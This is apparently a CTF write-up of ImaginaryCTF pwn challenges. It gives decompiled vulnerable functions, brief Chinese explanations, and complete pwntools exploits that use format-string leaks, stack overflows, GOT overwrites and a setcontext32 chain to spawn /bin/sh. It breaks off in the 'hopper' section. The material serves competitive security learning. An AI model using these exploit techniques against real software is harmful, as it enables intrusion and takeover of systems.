ImaginaryCTF
pwn
imgstore
unsigned __int64 sell_book()
{
char v1; // [rsp+7h] [rbp-59h] BYREF
int buf; // [rsp+8h] [rbp-58h] BYREF
int fd; // [rsp+Ch] [rbp-54h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
close(fd);
buf = (unsigned __int16)buf;
do
{
printf("Enter book title: ");
fgets(s, 50, stdin);
printf("Book title --> ");
printf(s);
puts(&::s);
if ( 334873123 * buf == dword_6050 )
{
dword_608C = 2;
sub_1D77(2);
}
puts("Sorry, we already have the same title as yours in our database; give me another book title.");
printf("Still interested in selling your book? [y/n]: ");
__isoc99_scanf("%1c", &v1);
getchar();
}
while ( v1 == 'y' );
puts(&::s);
printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
sleep(1u);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall sub_1D77(int a1)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
sub_18F2();
if ( a1 == 2 )
{
printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
putchar(62);
fgets(s, 160, stdin);
}
else
{
printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
puts("[+] BAD HACKER!!");
}
return __readfsqword(0x28u) ^ v3;
}
程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
sla(">>","3")
# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)
ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")
payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)
ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")
payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)
time.sleep(0.3)
rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)
p.interactive()
ropity
.text:0000000000401136 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136 public main
.text:0000000000401136 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s= byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136 F3 0F 1E FA endbr64
.text:000000000040113A 55 push rbp
.text:000000000040113B 48 89 E5 mov rbp, rsp
.text:000000000040113E 48 83 EC 10 sub rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets
.text:0000000000401155
.text:000000000040115A 90 nop
.text:000000000040115B C9 leave
.text:000000000040115C C3 retn
.text:000000000040115C ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D public printfile
.text:000000000040115D printfile proc near
.text:000000000040115D
.text:000000000040115D var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D F3 0F 1E FA endbr64
.text:0000000000401161 55 push rbp
.text:0000000000401162 48 89 E5 mov rbp, rsp
.text:0000000000401165 48 89 7D F8 mov [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00 mov rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00 mov rsi, 0 ; flags
.text:0000000000401177 0F 05 syscall ; LINUX - sys_open
.text:0000000000401179 48 89 C6 mov rsi, rax ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00 mov rdi, 1 ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00 mov rdx, 0 ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00 mov r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00 mov rax, 28h ; '('
.text:0000000000401198 0F 05 syscall ; LINUX - sys_sendfile
.text:000000000040119A 90 nop
.text:000000000040119B 5D pop rbp
.text:000000000040119C C3 retn
.text:000000000040119C ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C printfile endp
.text:000000000040119C
真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有
lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
Unique gadgets found: 65
但是,细看会发现 fgets的rdi是可控的 因为取栈上的变量这个过程,实际上是通过 rbp - 一个正整数偏移去取的,如果能控制rbp,那 rdi的值就是可控的,如果将fgets的got修改成printfile,然后保证 rbp - 0x8的值是 ./flag字符串的地址,gadget这个问题不就解决了吗。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+8h] [rbp-8h] BYREF
return (unsigned int)fgets(s, 256, _bss_start);
}
.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets
首先需要栈迁移把栈迁移到已知 的地址上面的条件才能满足,第一次fgets 将rbp覆盖成 fgets_got + 0x8,然后调用 fgets,由于s的计算是通过rbp - 0x8,所以能直接将fgets_got覆盖,覆盖成printfile,然后再控制rbp,保证rbp - 0x8的值是flag最后调用fgets就好了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
# libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
print_file_func = 0x00000000040115D
fgets_func = 0x000000000401142
fgets_got = 0x404018
payload = b'a' * 0x8
payload += p64(fgets_got + 0x8) # rbp
payload += p64(fgets_func) # rbp - 0x8
sl(payload)
# int __cdecl main(int argc, const char **argv, const char **envp)
# {
# char s[8]; // [rsp+8h] [rbp-8h] BYREF
# return (unsigned int)fgets(s, 256, _bss_start);
# }
payload = p64(print_file_func) # 修改fgets的got为printf_file_func 来控制 rdi
payload += p64(0x404038) # rbp
payload += p64(fgets_func) # 0x404028
payload += b"./flag\x00"
# g(p)
sl(payload)
p.interactive()
onewrite
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("%p\n> ", &printf);
__isoc99_scanf("%p%*c", &s);
fgets(s, 768, stdin);
puts("bye");
return v6 - __readfsqword(0x28u);
}
有一次任意地址写大量数据的原语,还有libc的地址,看官方wp发现有个叫setcontent32的项目,只需要一次任意地址写的原语和知道libc的基地址,就可以通过这个项目生成payload去getshell https://hackmd.io/@pepsipu/SyqPbk94a
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
libc.address = int(r(14),16) - libc.sym['printf']
dst, payload = setcontext32(libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__())
sl(hex(dst))
sl(payload)
p.interactive()
fermat
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
read(0, buf, 0x128uLL);
if ( strchr(buf, 'n') )
__assert_fail("strstr(buf, \"n\") == NULL", "vuln.c", 0xEu, "main");
printf(buf);
return 0;
}
有一个栈溢出,可以通过格式化字符串去泄露libc地址,然后再配合libc start main的magic gadget重启main函数,然后用libc中的gadget打rop
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
payload = b'%39$p'.ljust(0x108,b'a') + b'\x89'
s(payload)
libc_base = int(r(14),16) - 0x29d1c - 0x6d
success(hex(libc_base))
pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000bab79
payload = b'a' * 0x108 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
s(payload)
# g(p)
p.interactive()
ictf-band
__int64 sub_2151()
{
int choice; // [rsp+Ch] [rbp-4h] BYREF
do
{
logo();
puts("[1]. Name a song.");
puts("[2]. Join the band.");
puts("[3]. Write lyrics.");
puts("[4]. Exit.");
printf(">> ");
__isoc99_scanf("%1d", &choice);
getchar();
if ( choice == 4 )
{
puts(byte_3080);
printf("\x1B[1;33m");
puts("Goodbye!");
printf("\x1B[0m");
}
else
{
if ( choice <= 4 )
{
switch ( choice )
{
case 3:
write_lyrics();
continue;
case 1:
name_a_song();
continue;
case 2:
join();
continue;
}
}
puts(byte_3080);
printf("\x1B[1;33m");
puts("[/] Invalid option..");
printf("\x1B[0m");
puts(byte_3080);
}
}
while ( choice != 4 );
return ext();
}
int write_lyrics()
{
char s[112]; // [rsp+110h] [rbp-70h] BYREF
puts(byte_3080);
sub_15AC();
printf("Show me what you got: ");
fgets(s, 100, stdin);
puts(byte_3080);
printf("\x1B[1;31m[+]\x1B[0m You are bad at making lyrics.. No hard feeling..");
return puts(byte_3080);
}
int sub_16E4()
{
int result; // eax
char ptr[52]; // [rsp+0h] [rbp-90h] BYREF
int v2; // [rsp+34h] [rbp-5Ch] BYREF
char v3; // [rsp+3Ah] [rbp-56h] BYREF
char v4; // [rsp+3Bh] [rbp-55h] BYREF
int v5; // [rsp+3Ch] [rbp-54h] BYREF
char nptr[52]; // [rsp+40h] [rbp-50h] BYREF
int v7; // [rsp+74h] [rbp-1Ch] BYREF
char s[8]; // [rsp+78h] [rbp-18h] BYREF
void *v9; // [rsp+80h] [rbp-10h]
int v10; // [rsp+88h] [rbp-8h]
int v11; // [rsp+8Ch] [rbp-4h]
sub_1474();
v11 = 1;
if ( dword_5160 == 5 )
{
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
return puts("Slot is full.");
}
else
{
puts("Hello there, give me your best idea for a song-name!");
puts("Before that, please choose at which slot you want to add your preferences.");
printf("Slot [1-5]: ");
__isoc99_scanf("%1d", &v7);
getchar();
if ( v7 <= 5 && v7 > 0
|| (puts("Only slot 1 - 5 available."),
puts("Anyway, how many ictf album you have?"),
printf("Album Count: "),
__isoc99_scanf("%99d", &v5),
getchar(),
v5 > 0) )
{
printf("Let's start by choosing the genre [jazz | pop | rock]: ");
fgets(s, 8, stdin);
printf("Now tell me the song title: ");
fgets(nptr, 50, stdin);
puts(byte_3080);
printf("\x1B[1;33m");
printf("[GENRE]: %s\n", s);
printf("[TITLE]: %s\n", nptr);
printf("\x1B[0m");
puts(byte_3080);
puts("I like it! Let's make it a hit!");
v10 = atoi(nptr);
v9 = malloc(v10);
if ( v9 )
{
if ( qword_50A0[v7] )
{
printf("\x1B[1;33m");
puts("[+] Machine Temp is high..");
printf("\x1B[0;31m");
puts("[#] Terminating Program.");
printf("\x1B[0m");
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
exit(0);
}
qword_50A0[v7] = v9;
dword_5120[v7] = v10;
}
printf("\x1B[1;33m");
puts("[+] Data saved!");
printf("\x1B[0m");
puts(byte_3080);
puts(byte_3080);
dword_5160 += v11;
result = dword_5160;
if ( dword_5160 == 5 )
{
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
return puts("Slot is now full.");
}
}
else
{
printf("Would you like to buy one or maybe more? [y/n]: ");
__isoc99_scanf("%c", &v4);
if ( v4 == 121 )
{
printf("The album should be pre-ordered. Tell us how many you want, we will contact you soon: ");
__isoc99_scanf("%d", &v2);
getchar();
printf("Tell us your e-mail: ");
fread(ptr, 1uLL, v2, stdin);
puts(byte_3080);
printf("\x1B[1;33m");
puts("[YOUR DATA] Please validate before continuing: ");
printf("\x1B[0m");
puts(ptr);
puts(byte_3080);
printf("It's verified [y/n]: ");
__isoc99_scanf("%c", &v3);
getchar();
if ( v3 != 121 )
{
printf("\x1B[1;33m");
puts("[+] Machine Temp is high..");
printf("\x1B[0;31m");
puts("[#] Terminating Program.");
printf("\x1B[0m");
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
exit(0);
}
printf("\x1B[1;35m");
puts("[@] Thank you for your order, we will contact you soon.");
return printf("\x1B[0m");
}
else
{
if ( v4 != 'n' )
{
printf("\x1B[1;33m");
puts("[+] Machine Temp is high..");
printf("\x1B[0;31m");
puts("[#] Terminating Program.");
printf("\x1B[0m");
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
exit(0);
}
return puts("Alright then!");
}
}
}
return result;
}
int sub_1DC2()
{
puts(byte_3080);
sub_1510();
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
puts("Sorry, member registration is closed.");
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
puts("BUT, we're seeking a creative person for naming a song!");
return puts(byte_3080);
}
int sub_1E8B()
{
char ptr[208]; // [rsp+0h] [rbp-160h] BYREF
char s[60]; // [rsp+D0h] [rbp-90h] BYREF
unsigned int v3; // [rsp+10Ch] [rbp-54h] BYREF
char v4[40]; // [rsp+110h] [rbp-50h] BYREF
__int64 v5; // [rsp+138h] [rbp-28h]
__int64 v6; // [rsp+140h] [rbp-20h]
__int64 v7; // [rsp+148h] [rbp-18h]
__int64 v8; // [rsp+150h] [rbp-10h]
__int64 v9; // [rsp+158h] [rbp-8h]
puts(byte_3080);
print_data();
strcpy(v4, "Thank you for filling the questionnaire");
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
puts("\x1B[1;32m[+]\x1B[0m Anyway, we want to identify your persona.");
puts("[?] Kindly fill the questionnaire below [?]");
printf("Name: ");
fgets(s, 50, stdin);
printf("Age: ");
__isoc99_scanf("%d", &v3);
printf("Life background: ");
fread(ptr, 1uLL, (int)v3, stdin);
puts(byte_3080);
puts(byte_3080);
puts("======= YOUR DATA =======");
printf("Name: %s\n", s);
printf("Age: %d\n", v3);
printf("Life Background: %s\n", ptr);
puts(byte_3080);
printf("\x1B[1;33m");
puts("[+] Data saved!");
printf("\x1B[0m");
puts(byte_3080);
return printf("\x1B[1;32m>>\x1B[0m %s\n", v4);
}
程序的逻辑很简单,在ext函数中存在一个溢出,不过程序有pie,细看 ext会发现在输出的时候%s可以用来泄露栈上的数据,所以思路是泄露elf基地址后,利用残留的rdi寄存器 puts泄露libc地址,然后再打system binsh
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./ictf-band')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
def ext(data, length, _payload):
sla(b'>', b'4')
sla(b':', f'{data}')
sla(b':', f'{length}')
sla(b':', _payload)
payload = cyclic(0x167) + b'\xeb'
ext(b'b' * 0x8,len(payload) + 1,payload)
ru(b'adoaa')
elf_base = u64(r(6).ljust(8,b'\x00')) - 0x22eb
success(f"elf_base ->{hex(elf_base)}")
elf.address = elf_base
puts_plt = elf.plt['puts']
get_persona = elf.address + 0x1e8b
payload = cyclic(0x167) + p64(puts_plt) + p64(elf_base + 0x0000000000022E6)
ext(b'b' * 0x8, len(payload) + 1, payload)
ru(b'ved!')
ru("dnaadoaa")
rl()
libc_base = unpack(r(6) + b'\x00' * 2) - 0x62050
success(f'LIBC BASE --> {hex(libc_base)}')
pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000baaf9
payload = cyclic(0x167) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
ext(b'b' * 0x8,len(payload) + 1,payload)
p.interactive()
bopity
和ropity逻辑一样
hopper
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v4; // [rsp+Ch] [rbp-54h] BYREF
char v5[32]; // [rsp+10h] [rbp-50h] BYREF
char v6[24]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-18h]
v7 = __readfsqword(0x28u);
